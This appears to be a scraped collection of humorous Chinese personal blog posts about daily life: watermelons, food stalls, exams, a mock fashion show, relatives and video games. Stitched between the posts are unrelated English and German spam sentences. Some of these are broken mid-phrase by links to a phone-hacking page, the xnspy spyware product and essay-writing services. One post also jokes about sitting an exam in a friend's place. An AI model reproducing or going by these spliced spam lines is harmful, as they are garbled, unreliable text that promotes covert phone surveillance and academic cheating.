不是我

1，女主人公有大于等于两个的追求者，男主人公也是。
2，男女主人公假如一见面就陷入爱河，以后就一定会发生各种迫使他们分离的变故。
3，男女主人公假如一见面就互相讨厌对方，以后他们一定会因为巧合同去一家公司上班，或者同住一间大屋。
4，男女主人公各有一手帕交或哥们，在主人公们不谈恋爱的时候，他们就谈。
5，男女主人公都有超高薪超悠闲的工作，且超有才能，但是在对待感情的问题上，表现都象白痴，摇摆不定。
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网络特务这种人，居然是存在的吗？
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赶早买西瓜还是遇见很多人排队。
为了一劳永逸，我一气买了五个。
回家洗了一个一切－－发现是坏的！
急忙一手搂半个跑出去换。
卖西瓜的老农已经走远了。
我于是放下西瓜去追。
好不容易追上，老农答应给我换个好的。
于是我们回头去拣坏的那个－－却发现不见了！
路边人告诉我是扫垃圾的人铲了去。
扫垃圾的人拖着小车的背影在100米开外的地方。
我急忙撒丫子撵。
撵上后发现垃圾车里面有很多半个半个的坏西瓜。
翻了半天才把我的那两半个找到。
又搂着回去找老农换。
终于换了一个稍微小点但是是好的西瓜。
我满头大汗地将它抱回家。
躺在地板上喘粗气。。。。。
弟弟说6人行中，我最象茉莉卡。
唉。。。。
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Zu zentren der opposition gegen die preußische monarchie wurden im nu die lesekabinette in der stadt, in denen auch kurz uber diese Webseite reinschauen außerpreußische zeitungen auslagen

昨天买了灯，小盒子上包装写着：SB，一愣，怎么这个牌子？
原来是“盛宝”牌。
每一个人都是另一个人的傻瓜。
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The video itself is quite inspiring, although given how the https://phonetrackingapps.com/how-to-hack-phones/ 78-year-old patient is having his innards dissected, you may want to avoid this if you’re squeamish or don’t deal too well with the sight of blood or insides

昨天晚上和4胖，5胖，6胖在大排档喝扎啤。
我发现排档无论大小，都喜欢自称“大”：姑嫂大排档，三七大排档，好再来大排档。一到夏天的傍晚就肆无忌惮地伸向人行道，因为在露天豪饮比较畅快，也比较凉快。行人被挡了路当然要抱怨，可是轮到他们自己坐在那里吃喝的时候又不再计较了。
我们点了龙虾，第一个要点的就是龙虾，这里的龙虾是用辣椒爆炒之后加料闷熟的，约等于红烧，味道重，而且辣，能连吃两个不咂嘴吸气喝水的，可以算的上牛比。
菜上齐之后就叫老板放扎啤。我喜欢扎啤，味道清淡，常常不自觉就会喝许多，有次当时喝了没感觉，回家后头晕眼花，明白量过了，以后就控制在200毫升以内。
倒了扎啤就开始胡吹海吹。当然我不吱声，只顾埋头苦干对付酒菜，在公共场合扮文静，我拿手。
别的桌子上客人的嘴巴也都没闲着，因为吵，想说悄悄话几乎不可能，都在大声喳喳：
“你这个人就是太实诚，有时候啊你也得分什么人。。。”
“我打扮的再漂亮他也不看我。。。”
“我表哥很帅的，有很多女孩子喜欢他可是他都不喜欢唉。。。”
“那辆车刚好在路中间急刹车，我也带不住刹了，就听到砰地一声，嘿，那玻璃。。。”（说话的人头上缠着纱布，样子可锉了）
“昨天给你买零食花了35块5，今天上午买冰淇淋花了24块，买溜冰鞋花了86块，一共多少了？一共就一百四十多块钱了，现在你又要遥控赛车，遥控赛车最便宜也要200多块。。。。”
“老板，有蚊子，块点盘蚊香来。。。”
果然，天一黑蚊子就成群结队地出来觅食了，桌子底下响起一片手拍大腿的噼啪声－－可是蚊香点了也没用，只当给蚊子取暖，我想老板还不如端上一盘新鲜猪血供蚊子们饮用，省得叨扰我们。
到了9点多钟大家喝的差不多了，同时也被蚊子喝的差不多了，于是作鸟兽散。5胖6胖推了碗盘起身，一眨眼的功夫就不见了身影。我和4胖走不了多长，立刻体会到5胖6胖疾走的苦心：喝太多了，等不及放水。
一旦意识到这点，我们也情不自禁地加快了脚步，因为在前面不远处有一家KFC，里面厕所不但环境好，还免费，可说是大小便者的天堂。
来到KFC，发现里面吃东西的人不多，上厕所的人还不少，可也就是女的多，4胖很快在对面男厕所解决了问题，捧着大肚子得意洋洋地走了出来，可是我前面还排着好几位女生，我憋的双腿几乎扭成麻花，问4胖：“你那边有人吗？”
4胖说：“没有。”
“那帮我守着。”说完我就冲了进去。
过不了半分钟就听见4胖在门外和人解释：“对不起，麻烦您等一会，里面有个女孩子在。。。”
就听到怪叫：“啊，女孩子？。。。”
放完水后打开门，洗手，洗脸，装模作样地一扭一扭走出了KFC，4胖跟着，恨的牙痒。
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Accepted www.essaysreasy.online you previously were an officer in israel’s defense forces

被彻底打败了。。。。
中午时分，美秦提着一大塑料袋咸萝卜跑来，对我说：下午的考试就拜托您啦！
下午1点整Y考英语，叫我做枪手。
我问她证件带好了没有，Y说带了。
我又问笔呢？Y说啊哟忘记了。
我翻出一支圆珠笔，做好准备后我们出发了。
在街上吃完炒饭时是12点15分，我拿过包包，细看准考证，气得我猫切尾巴般乱跳－－这家伙，这家伙，明明是7月17日下午考英语，7月14日下午考政治，Y硬给看错了！
我掐着她的脖子左右晃了半天：靠靠靠，害我看不成《闲人马大姐》！！
不仅如此，来回这么一折腾，午觉也没有睡成。
MM的，比马大哈还要马大哈，简直是马大哈的平方。上次也是来考试，上午8点钟走了，8点半又折回来，说是准考证没带。9点就要开考，匆匆跑走，谁料9点半又折回来，说身份证也没带，我说那你还考个P呀？她说是啊，不考了，逛了一天的街。
上上次还是考试，下午2点半开考，Y躺在沙发上睡觉，3点了还是那个姿势躺着，我从外面回家后看见吓了好一跳，以为美秦考试去，丢了个幽灵在那儿呢。
所以Y考了三四年了，还在考呢。
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This course is an extension to the introductory course on the greatest unsolved mysteries of the universe and www.buyessayonline.ninja/ is the second one out of four courses of anux that are based on astrophysics program

一个隐藏在另半支烟心灵深处的恶魔开始蠢蠢欲动了，从昨天开始他的言行举动渐渐变得扑朔迷离起来，昨夜的一阵暴风雨过后，随着一声惨烈的狼嗥，血液汹涌澎湃地冲向他的眼框，激出他的眼球，强大的推动力促使这对湿乎乎的眼球瞬间突破音障，穿越云层，在2400米的高空飞呀飞，窥呀窥，窥呀窥，飞呀飞。。。。一直来到狼烟MM的裤衩里，莱茵河JJ的短裙下，以及花季少妇走在路上简陋的卫生间里。
另半支烟的眼球在一片尖叫声中灵活地闪动着；在一片片晕倒的躯体中不怀好意地逡巡着，它顺利地躲过了要踩扁它的狼烟的鞋地（上面还沾着烟蒂），躲过了莱茵河挥舞的苍蝇拍，躲过了走在路上的左手刀右手叉，狂笑着将恐怖的气氛撒向了整个宇宙。。。。
狼烟哭喊：怎么办？怎么办？
莱茵河肠断：老天啊，老天！
走在路上声声慢：坏S啦，讨厌～～
天上下不来救世主，革命道路还得靠自己走完，另半支烟一月一次的狂躁不安，必须靠姐妹们自己不遗余力地将它整跨，整完蛋！
霹雳喀嚓，那是谁点着粪便？原来是跌跌跄跄的狼烟。
悉悉嗦嗦，那是谁拿来蚊烟？原来是气喘吁吁的莱茵河。
横唷哈唷，那又是谁驼着高密度喷雾敌杀死？原来是神情坚定的走在路上。
她们团结一致，齐刷刷对准了嗡嗡飞舞的眼球，1，2，3－－噗。。。。
嗷地惨叫过后，大地恢复了宁静，姑娘们又兴高采烈地穿上了短裙！她们唱啊跳啊，直到筋疲力尽。。。。
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Your interviewer may have a strict script or may be free to writemypaper4me.org/ improvise, but usually they have at least some questions specified by the adcom

从昨天开始，我每天都能在新浴缸里面泡澡了。
新浴缸雪白雪白的，便宜，不大，要是锯掉两条腿，估计就能躺到里面洗澡了。
其实小浴缸也有小浴缸的好处，首先，它省水：只要放一点点水，就能没到膝盖－－当然我说的是隔壁小刘粪的膝盖，他13个月大。
买浴缸的时候老板一个劲儿地向我推荐象小小玻璃房子一般的整体浴缸，这令我想起小时候在家里洗澡时爸爸妈妈长长在木盆上挂起的澡帐，冬天时好不让热气跑出去，免得着凉。我经常在澡帐里面闷的晕过去，假如买一个整体浴缸，恐怕也会闷死人－－压抑，太压抑。在一个压抑的环境里面洗澡，会使我幼小的心灵蒙上阴影，给人生观带来不好的影响。
昨天我放足慢慢一浴缸水，坐进去后水几乎溢出来一大半，我抱着腿思量半天：要不要买个塑料小鸭子来一边洗澡一边玩呢？
最后我摇了摇头，我已经长大了，而且还是一个花季少妇，洗澡时玩肥皂盒啊玩航空母舰啊什么的都是和菜头这样的小P孩喜欢干的事情，我应该向身是客学习，洗澡的时候刮刮腿毛，修修指甲，这才有魅力哪。
讲到身是客，我要不要请她和我一起洗澡呢？虽然比不上华清池，但是四周墙壁都有贴上瓷砖噎，还有一面小镜子噎，哦霍霍霍霍，我一想到可以在这面小镜子里面偷窥身是客的荷包蛋时，不禁将嘴角咧至耳根下，憨厚地笑了。。。。
还有哪位MM愿意和身是客一起来呢？也一并欢迎着呢，请蜂拥而至吧！
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Both models can be customized xnspy to include a 2

在夜深人静的时候，让蚊子铐铐火，暖和暖和。
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1. 指甲在铝锅上划过一道长长的白痕
2. 指甲在玻璃上划过一道长长的白痕
3. 指甲在钢管上划过一道长长的白痕
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MD，智商有限。
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有天弟弟问我：假如有天你家门口站着一位衣衫褴褛，风尘仆仆兼邋里邋遢的陌生人向你讨口水喝，要碗饭吃，你会给他吗？
我毫不犹豫地回答：当然会！（道德指数上彪60分）
弟弟又问：假如这个人要求你拿出最好的饭菜招待他呢？
又问：假如这个人在吃完你家最好的饭菜后还要在你家最好最干净的床上睡一觉呢？
又问：假如这个人连续在你家这样吃喝睡数日呢？
我说：除非我知道Y是耶稣，不然给钱也不干！（道德指数回复原位）
弟弟说：可是我们出外业的时候来到农村，随便去到哪家，即便不作要求，都会吃到最好的饭菜，睡到最好的床。
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昨天坚定了信心揣着200大洋去买降价书柜，却发现最便宜的也要3000大洋。NND3000大洋不如买个大冰箱，拔了插头不照样可以放书？
没有书柜书只好继续躺在大纸盒子里面，要是找的话只有将身体埋进去一本本往外淘，淘到之后再一本本填进去，元气大伤过后就根本没有力气看书。
为了不占地方，平时只敢买漫画小册子和薄薄的妇女杂志。穷困潦倒的时候可以把它们搬到大街边练摊去。看一本两毛钱。
我心目中的书柜颜色是淡淡的，散发着木头的清香，有磨砂玻璃的门，一打开就能见到许多摆放整齐的世界名著，豪华版大英百科全书，显示出主人渊博的知识良好的修养以及高深莫测的文化水平。。。还要有一格一格的抽屉，抽屉的开关十分灵便，里面放着一些儿童不易的书籍，而且还能上锁。
等我有了自己的书柜，我就要好好地对待它，天天拿麻布擦，拿鸡毛掸掸，拿舌头舔。。。我绝对不会让坏人接近它，破坏它。我会采来美丽的鲜花点缀它，还会把它当作我最好的朋友，日日夜夜陪伴它，不让它孤独，不让它寂寞。。。
等我有了自己的书柜，我一定会召集所有的好朋友为我庆贺，凡是赠送50元以上红包者，我就允许他们抚摸一下它。我还要让我的老爸瞧瞧：以前你的书柜不给我用，现在我有自己的书柜了，当然也不给你用！
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服装咻
紧跟着鱼骨头出场的下一位抹兜该会是谁呢？在宣布答案之前，先插播一段广告，记住，广告之后，立刻回来！
（广告：八达岭烽火台，浓烟滚滚，面无表情的美女小云自浓烟中轻移莲步，款款而出，突然，她抬袖掩嘴，微微笑道：“自从有了狼烟，我就再也不怕蚊虫叮咬了。。。”－－画面定格，一个深沉的男低音深情地念白：“狼烟牌蚊香，客栈读家服装咻制定驱虫产品！”）
“咣！”随着一声大锣的巨响，走上台来的抹兜是客栈模范丈夫梁山伯同志，在欧洲杯结束之后，他总算可以抽出一点宝贵的时间来参加这次服装咻。这一次他向大家展示的是我专门为他量身定做，也是献给全天下模范丈夫的一款牛仔裤，名曰：“裤毕了搓板裤。”这条牛仔裤乍一看与普通的牛仔裤仿佛没有什么两样，但是请仔细看梁山伯的膝盖部位，在那里，分别给缝上了两块面积大约为100平方厘米的木质搓板－－这样一来，在他犯错误的时候，他的娘子梁祝英台夫人就不必额外在地上搁上一块搓板罚他跪，而是随时随地令他下跪都会有跪搓板的效果，岂不省心哉？（我的助手江南暖还建议我用啤酒瓶盖来代替搓板部分，我想那有些不人道，因此木有采用。）
在梁山伯之后跟着上来的，是扎着“一支独秀朝天撅”小辫的KIRIKA小朋友，她身穿一件印满了黑猫警长的浅蓝色吊带睡裙，脚蹬一双“开口笑”露脚趾的运动鞋，显得十分活波可爱。现在我们有一个和观众朋友们互动答题的机会，凡是在5分钟之内能够将正确答案通过发送短信到3345678（联通用户发送到SB748）的观众朋友，都能够获得一份奖品。（奖品请在一个星期之内每天早上7：30－7：31之间到茶馆流浪咪咪处收领，那是一份精美的：48！）我们的问题是：当KIRIKA穿上运动鞋的时候，她就很想去跑步；当她穿上睡衣的时候她就很想去睡觉，现在，KIRIKA同时穿上了睡衣和运动鞋，那么她到底想做什么咧？
接下来上场的抹兜是走在路上和双飞凤凰曲两位客栈帅哥，他们向我们展示的，是专门为好朋友设计的“哥两好连体斗篷”，制作这个连体斗篷所用的材料十分普通，就是大家随处可见的塑料袋和麻布袋，将它们拼缀在一起后同时扎到两个脖子上就可以了－－企图永结同心的人们也可以试试这样的比情侣装还浪漫的装扮，真的十分显眼哦～
（KIRIKA再次上台，手持一瓶饮料作牛饮状：“当我同时穿上睡衣和运动鞋的时候，最想做的事情，就是来一瓶西西里的柠檬汁了，观众朋友们，您猜对了吗？”）
在感谢西西里柠檬为这次服装咻免费提供饮料之后，让我们用最热烈的掌声欢迎本次服装咻的压轴抹兜，同时也是这次服装咻的主要赞助人董－事－长～～
全体起立，鼓掌，奏《路边的野花不要踩》之歌！
在两个牵袍小童的陪同下，尊敬的董事长穿着体毛装隆重地登上了T形台，顿时所有的灯光统统打在他的身上，使他略显激动的表情更加光辉夺目。台下的观众好像沸腾了，他们热泪盈眶，纷纷要求董事长为大伙儿讲几句话。这时只见董事长亲切地从身后拿出了半截黄瓜，放在嘴边，深情地说：
在很久很久以前，在欧洲的丹麦曾经有过两个最杰出的服装设计师，他们不施一针不费一缕成功地让他们赤身裸体的皇帝相信自己穿的是世界上最漂亮最豪华的新衣。几百年后，比这两个骗子还要杰出的服装设计师在中华大地诞生了，他就是客栈的读乐乐！（此处略去赞美之辞13221字）。。。
董事长越说越动情，竟至无语凝噎，只有任由磅礴的泪水在脸上流淌。在一旁的化妆师温柔第一辣小姐急忙递上一块小手帕，将董事长扶下补粉。
到这里，我们的2004夏之诱惑读家客栈服装咻就可以宣告圆满结束了，在所有抹兜及工作人员登台鞠躬致谢后，还要麻烦场地负责人川上和我把警察追着跑同志将拼成T形台用的课桌搬回教室，灯光师洋葱圈儿同志负责清扫一下台上的鸡蛋壳和桔子皮，拜托，致礼！
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我欢呼，我雀跃，我在凉席上翻着空心跟头，并伸出V字形的双手。。。。
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首先，我不喜欢任何带馅儿的粽子。喜欢火腿不如直接抱着啃，喜欢红豆不如直接用勺舀着往嘴里倒，夹在粽子里面，就是一种残忍的破坏。
其次，不喜欢大个的粽子。因为粽子最诱人的地方，就是糯米在被煮熟的过程中吸收了粽叶独特清爽的香气。假如糯米过多，这种香味平摊开来，显得密度不够。另外，大个的粽子要煮很长时间，岂不急S我？又另外，大个的粽子在煮的时候如果不注意火候和时间，不是被煮烂了就是中间还是生的。
所以，我喜欢街上卖的最多的包的小小的，一串十个总共2。5元造价低廉的纯糯米粽子。一气能够吃下5个。
云南人也会吃，他们有竹筒粽子，小小纯糯米的非常合我胃口。
川上有次在茶馆说他们家乡有种叶子包粽子比普通的粽叶粽子好吃多少倍，馋的我，可Y就是不告诉我到底是什么叶子，装神秘。
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“我今天下午看见我的老情人了。”
“哦？有没有说什么？”
“匆匆而过，没说什么，问了声好。”
“紧张吗？”
“现在已经没感觉了。”
“后来有什么想法？”
“没有。”
倘若是我，一定庆幸自己当天亏得穿着新衣服，且刮干净了胡子什么的，怎么会什么想法都没有？
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就猜到你会在最短的时间内叉着腰跳出来横横～～
我还没有学易经，就已经料事如神，佩服！
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我不认为上海人小气抠门，不过我承认上海人精明，做事情讲求效率。然而和浙江人相比，他们的手段不够毒辣；和福建人相比，他们的目光不够远大；和江苏人相比，他们又不够勤快。外地人在上海虽然总是被看不起，但是他们却悄悄地发了财，又悄悄地将原本应该是属于上海人的饭碗抢了去。
上海给了上海人很多的优待，他们上大学比别人轻松，他们找工作比别人容易；他们接触新鲜事物的机会比别人多；他们几乎可以算的上是中国内地最时髦的市民－－即便是居住在最昏暗的筒子楼里，但是走在大街上还是衣着光鲜，神情傲然。
可是有时候有些事情也的确够他们苦闷的，比如高的能抵天的房价，高的能抵天的姑娘的心。住在上海的表哥告诉我，乡下女孩子的心，是天生就属于城里的，城里女孩子的心，是天生属于上海的，而上海女孩子的心，是天生属于大洋彼岸的－－这话说的倒一点没错，我弟弟喜欢的女孩子，就一溜小跑趁着会说哦哈哟高大姨妈死奔去上海了。弟弟本想撒开一切随她一并也投向新天地，被老爹老妈厉声喝住了：“没有50万，你去了也是一光蛋！”而表哥喜欢的女孩子，连群角都没有晃动一下就在他的眼前消失了。
上海滩刺激着外来人的眼睛和心，有的想，我能征服它就好了；有的想，我能适应它就好了。可是对于本地人来讲，上海滩所有的亮点仿佛都成了他们身体的一部分，带着这些亮点，走遍天涯也没有什么好磕碰的。
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昨天Y就不停地电话过来，唠叨Y早上6点出发，面条放在哪里，火腿肠放在哪里，冰棍还剩了几根。我连连点头，说知道知道，不耐烦的很。
今天倒是我自己忍不住打过去，对着话机猛吼：“电视机插头在哪里！！在哪里！！”
回答：“看床边墙上！”
一扭头，哗，墙上贴了一张纸条，大大地写着：“电视机开关在此！”旁边一个小小的白色按钮，一擎，电视开了，再一擎，电视关了。
靠，真会享福。
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20天后，我的春天就来了，我的黎明就来了。。。。
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院子的大门在我开门的时候突然砸下来，幸亏躲避及时，仅仅砸到了玉腿。一声巨响把狗吓坏了，到现在还惊魂未定躲在桂花树地下。
前年随便种的葡萄现在居然正在结果，喜S俺了，说不定一不留神结出马奶子或者美丽尖提子来呢。。。
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她的个子不算矮，可就是腿不够长，所以她老是穿着高跟鞋，鞋子里面的脚趾还偷偷地贴着鸡眼膏。
她也不算太胖，可要是坐的时间长了，腰上就会囤积很多脂肪；可是她要是站的长了，屁股就会拖到大腿上。她尝试过减肥药和减肥肥皂，最后总是觉得无效，可要是说它们无效，又分明看到胸部明显变的更小。
25岁之前她错过了用公费医疗矫正牙齿的机会，25岁以后她再也舍不得掏自己的腰包把牙齿整好。不过她安慰自己－－这个样子吃西瓜，方便。
一般说来她还是比较跟的上时代，和比自己漂亮的女孩在一起的时候心情也很愉快－－当然也曾经悄悄希望也拥有一个差不多漂亮的脑袋。
第一个男朋友受不了她的侧面；第二个男朋友受不了她的正面；第三个男朋友终于被她踹了；虽然无限付出的爱情几乎耗尽了青春，但是她还是觉得享受到了。
再次遇见自己喜欢的人时，她突然聪明起来，学会抿嘴笑，常常穿竖条纹的衣衫。他不喜欢懦弱，她就逼着自己坚强；他不喜欢强悍，她就装作孱弱。他要是喜欢她编的故事，她就说是真的；他要是不喜欢她的过去，她就将它安在别人头上。
她把自己分割成纳米沙子，一点点渗透进他的身体，令他想分离就不得不带出点血肉。
她带他见自己的父母，还友好地接近他的亲友。逛街时她假装不留神挡住他射向其他女孩的视线，收拾他房间时又假装不在意地扔掉旧情人的相片。在她和他终于进入洞房的时候，她恶狠狠地拧了他，她觉得半生的恶气都因此散去了。
一年后她有了女儿，她暗自以为女儿比儿子好，女儿是和自己站在一边抓住他心的小手，而儿子却是和他站在一边抓住自己心的小手。。。
十年后换完牙的女儿变成小龅牙，她毫不犹豫地牵着她来到诊所，花了一千多块给她戴上了牙箍。
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现在，我知道了。
就是删掉他的三级片！烧掉他的三级片！毁掉他的三级片！
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可可
可可是我伴读的第二个女孩子，也是我工作开始教的第一届学生，还是我同事的女儿。
可可高高瘦瘦，皮肤雪白，头发短短的从后面看象个男孩。每次到我家来做功课的时候第一个动作总是将书包扣一下拽开，然后拎着包底，呼啦拉把书包里的东西全部倒在桌子上，其中准会有一两样东西应声滚落到地下，比如玩具抢的塑料子弹，张飞头像的小牙签，可以做钥匙扣的玩具刀剑等等等等，她总是一边拣一边叫：“啊哟啊哟啊哟。。。”
而那个时候她已经念初三了，性情却象一个还没断奶的小婴儿，喜欢玩，喜欢撒娇，对一切新鲜的事物充满好奇。无论在长辈还是同学中间，她的人缘都特别的好。她的老爹更是疼她疼的肉麻－－听她妈妈说，在可可晚上熟睡的时候，她老爹总是要悄悄亲她一下自己才能入睡。
她妈妈也经常问我：“可可怎么样？”我直摇头：“拿她没办法。”
真是没办法，每天两个多小时的伴读时间，她恨不能要和我谈两个小时的心。而听她说话也实在是一种享受，她总是告诉我发生在她身边的各种各样的事情，她无忧无虑地生活着，快乐是那么简单，语言是那么直接，一个小小班级里的生活是那么多姿多彩。
甚至连班上有小男生追求她的事情也告诉我，她告诉我她是怎样无情地回绝他的：“我对他说，不要做梦想P吃啦！”令我笑的肚子疼。
初中毕业后她考上了本市的一个师范中专学校，很巧的离我家很近。所以只要有空，她都会来打着“改善生活”的名义到我家度周末。
她的初恋就这样开始了。
我的邻居是一个长的比较帅气的老小伙子，他的女朋友当时在北京读书，所以他一个人独守空房。而我们一直是很好的朋友，所以当可可来的时候我都会做很多好吃的叫上他来一起分享，而他的任务就是在可可走的时候骑摩托车送她回学校。因为他们的年龄悬殊较大，所以我没有料想到会发生什么事情。
一直到可可毕业离开学校，邻居跑到我工作的学校找到我，我才大吃一惊－－这个老帅哥，已经被这个小女孩深深迷住了，可是与此同时，他的女友也从北京回来，为了能够和他结婚，放弃了留在北京工作的机会。
这段三角恋情拉锯战持续了一两年，可可一下子长大了许多，她彻夜不眠，和我说着她和他的故事，可是我的脑海里，总是浮出她拿着小石子，趴在我家院墙上，朝邻居家的水缸里砸的情景。我想，千万不要长大，不要有这么多忧伤。
事情最终以可可的退出，邻居和原女友结婚为结果结束了。可是我看得出来，可可就象一朵小小的红玫瑰，永远粘在他的心口上。他摩托车的钥匙扣，还是几年前可可送给他的，一个大大的蓝色K。
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表妹
从表妹上小学四年级开始，我就给她作伴读，只要她不上课，我就得提着我的书包和她同趴在一张桌子上，看着她作作业，或者是给她辅导功课。
表妹长得很可爱，性格活泼，阿姨姨夫宠她，功课不好也舍不得打骂，觉得有我这么一个姐姐在一边监督着一定会好点。
说实话一开始我忒烦她，有书不好好念，就知道玩，吃－－电视报背的滚瓜烂熟天天候着看包青天，床底下冰箱里塞满了零食（这点我倒喜欢。。。）。还有点古灵精怪，经常问我有没有男朋友，我想我能告诉你嘛？一乳臭未干的小丫头片子。
为了让她能少烦我，我就天天想法子整她，叫她背书，背不出来就罚抄。我以为她一定会生气嫌烦，想不到她还蛮听话，乖乖地背，乖乖地抄－－我后来想，恐怕这辈子没人象我这样恶整过她，连姨夫都偷偷地朝我竖大拇指，大概意思是说：整的好！
就这样在表妹面前我总是寒着脸，因为我只要对她客气点，Y就蹬鼻子上脸。
直到她小学毕业那年暑假，阿姨说撒开手让她好好玩玩，我才撤了下来。可是她没解放多久就住进了医院。我吓了一大跳，跑去医院探望，才知道是在家里冲开水的时候烫伤了腿。原来阿姨姨夫经常将表妹一个人丢在家里自己出去玩，表妹虽然年纪小，可是已经会做很多家务，可是到底小，不免磕磕碰碰。我看见大腿裹满纱布，躺在病床上抹着眼泪的她，觉得怪心疼的。
初中三年我还是她的伴读，还是寒着老脸压她背书，可是心理上感到亲近了许多。有一次她兴高采烈地告诉我：“姐，今天老师提问我内，我答对内，她以前从来不提问我的。。。”她觉得，老师提问她就是很给她面子的表示，得意了好几天。那时我恰好在偷偷地瞒着爹妈谈恋爱，经常将情书塞到表妹书包里托她给我邮寄。她也将我的信任当作是“给面子”的表示，不但帮我跑腿，而且也从不向大人们高密。
表妹最大的问题就是数学不好，上初中了还以为二分之一加四分之一等于六分之一。阿姨对她也没寄多大希望，初中毕业后就让她念了内部的子弟中专学校，毕业后好直接到自己的单位上班。
这时候我就不用再对她寒着脸了。我开始毫不掩饰对她的喜欢，在80年代生的小女孩中，象表妹这样的实在是太少见了，和她呆在一起真是令人舒服的上瘾：不管是我在她家，还是她在我家，家务事总是她全包了。尤其是夏天，一下班回家她准会为你将洗澡水放的好好的，洗玩澡过后脏衣服不见了，全拿去洗了，搁在一边的是叠的四四方方的睡衣，枕头边放的则是第二天上班要穿的衣服－－在我邋遢的一生中，恐怕只有给表妹伴读的那段时光是最干净整洁有规律的了。
后来看《空镜子》，越看越觉得表妹象里面小陶红演的妹妹，简单淳朴，虽然没有大堆男孩子围着转，但是我相信谁要是娶了她，真是有福。
过年的时候我去看阿姨，表妹问我：“姐，你想吃火锅吗？”
我说想啊。
她说：“你等着哈。”
嘟嘟嘟一串电话过后，一个虎头虎脑长相憨厚的小伙子骑着自行车来了。
傻乎乎地说：“我请你们吃火锅。。。。”
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菜国庆乐了，他是全国最红的偶像派歌手。
留欢乐了，他是最NB的实力派歌手。
程前乐了，他主持的娱乐综艺节目收视率最高。
那音乐了，卖唱片的钱多的数不完。
留晓庆乐了，再演20年纯情少女都有人看。
不过身是客哭了，5555，饿又木有做对不起党对不起人民地事，干嘛将饿发配到这鸟不生蛋的地方来？
绝色台北也得哭，违反了计划生育的基本国策，下岗，罚款！
不过木关系，有我这样的热血青年在，一定会收拾全部细软，投入到轰轰烈烈的支援台港澳建设的大潮中去的！
身MM（摸一下小脸），色JJ，俺搭救你们来咧～～～
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弟弟正在玩《武林群侠传》，恨不能每隔两个小时就来一次电话，问下一步怎么办，再下一步怎么办，害我不得不又重新复习一遍这个游戏，然后又在网上下载各种秘笈传给他。
记得在上高中的时候，同桌的女生一天拿着一个手掌游戏机到班上来，上面的游戏只有一款：俄罗斯方块。我们打啊打啊打，每GAME OVER一次就换个人玩，到最后眼睛发花，看黑板上的粉笔字都象是要往下落的小方块。
后来各种电子游戏室在小镇上冒出来了，游戏室里面大多数都是小孩，所以天天都能看到家长从里面揪着儿子的耳朵将他拖出来。我不敢进去，万一被老爹发现，小命不保。
不过工作以后我就敢大摇大摆地进去玩了。魂斗罗，三国，足球和铁钩船长什么的我都不会，我只玩麻将。有一次和弟弟打魂斗罗，被一边围观的小孩嘲笑S，有几个心急的干脆将我们的手柄抢过去“示范”给我们看：“诺，应该这样打！”而打麻将就不要求玩家眼疾手快了，在可以对牌和吃牌的时候机器自然会提醒你。如果你连续赢了几次，屏幕上还会出现穿着三点式的性感卡通MM，作为奖赏，让你养养眼。（廖白同志说太不刺激了，好歹也弄个性感猛男什么的，正是一言惊醒梦中人。）
弟弟上大学之后开始玩电脑游戏，当时电脑游戏室收费是一个小时一块钱，可是如果能够抢到学校电脑室的电脑就可以不花钱。他当时玩的好像是金庸群侠传，黏土游戏什么的。而我也开始迷上电脑游戏－－我的一个好朋友在政府文秘科上班，天天对着一台486的机子，我没课的时候就上她那里挖地雷，从486挖到586，再挖到win95。弟弟放假回来就嘲笑我。
98年我终于扬眉吐气，第一次玩到了复杂一点的电脑游戏：《玫瑰纹身》，根据福尔摩斯探案故事编出的一款推理游戏，画面和音乐都十分精美，我才玩了一小半，就开始向弟弟吹嘘“瓦赛，好好玩哦！”可是好景不长，朋友的办公室换了领导，开始禁止闲杂人等入内，我只好撤下我的游戏，灰溜溜地离开。
接着就开始吃泡面，存钱，吃泡面，存钱，终于在大前年，我拥有了一台自己的电脑，我想，这下可好了，想怎么玩就怎么玩！买电脑的时候老板赠送了一盒正版的《仙剑奇侠传》，回去之后的一个多月里，我就把自己埋到《仙剑奇侠传》里面去了。
玩第一遍的时候我简直就是一个SB，根本不知道这个世界上还有功略秘笈这些玩意，别人轻而易举地配置着一粒又一粒的金蛊王，随随便便就将等级提升到最高，我还在红着眼睛打青蛙，打蝎子，希望提高点内力好和BOSS级的人物抗衡。当我在网上看到各种可以通向成功之路的捷径时，啊呀真是肠子都悔绿了（尤其是利用游戏里的BUG可以赚到无数金钱，灵儿复活过后使用“梦蛇”一技所向无敌什么的），后来干脆抄小道再玩一遍，把所有秘笈全部用上，虽然那里面迷宫绕得我五心烦躁头昏眼花，但是总算杀气，心里平衡了一点。
后来我不管玩什么游戏，都要事先在网上翻看一下秘笈。我的口号是：有便宜不占，是猪头三。
不过由于小脑不发达的缘故，我只能玩玩角色扮演游戏，而且游戏里的打斗模式还必须得是回合式的，也就是你打我一下，我再还打你一下的那种，要是一哄而上谁快谁赢，我就一准S翘翘。
在参考着秘笈玩通《仙剑》，《绝代双娇》之后，我觉得我NB极了，几乎是天下无敌。可是这时候我遇到了《武林群侠传》。
刚开始玩《武林》的时候，我带着藐视的神情－－画面不够精致啦，音乐忒难听啦，打斗的方式忒老土啦。可是玩着玩着我发现我不行了，游戏的随机性太强了，我简直不能控制自己的命运，并且即使我一步步按照功略指示的套路去做，所遭遇到的情节还是不一样！更加令我恼火的是，即便我卑鄙到使用了金山游侠修改了游戏的内存属性－－在游戏的一开始就拥有很多钱，各项指数登峰造极等等－－我还是不能解决所有的问题，比如，得不到任清璇MM的心，抓不到偷东西的小孩，挖不到楞枷经。连鼠标的灵敏度都对游戏有很大的影响，为了玩好，我必须得准备新旧两个鼠标，打猎和挖矿的时候用旧鼠标，效率高，而钓鱼的时候只能用新鼠标，否则不管你有多么小心翼翼，哪怕一直不呼吸不眨眼睛，你都拉不上来一条鱼。
我不得不佩服这款游戏，害我玩的筋疲力尽。在《武林群侠传》之后，我又重新发现了挖地雷一类简单迅速的桌面游戏的价值了。因为我既不聪明，又不够耐心，所以这样的游戏最适合我了。而且还不能和别人比赛，一比赛肯定输，比如大家都玩过的《打企鹅》，《打鸡蛋》，我从没玩好过。
刚刚玩《李小龙》，把对方打得毫无招架之力，还连连吐血，正得意呢，却发现Y居然是人质。。。。
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象一把钝刀，象一个砂轮，将我的脑神经劈打的血肉横飞。。。
同志们，快告诉我，快告诉我，从古至今，有哪个人患偏头痛后来成了伟人的？快告诉我安慰一下吧。。。。。
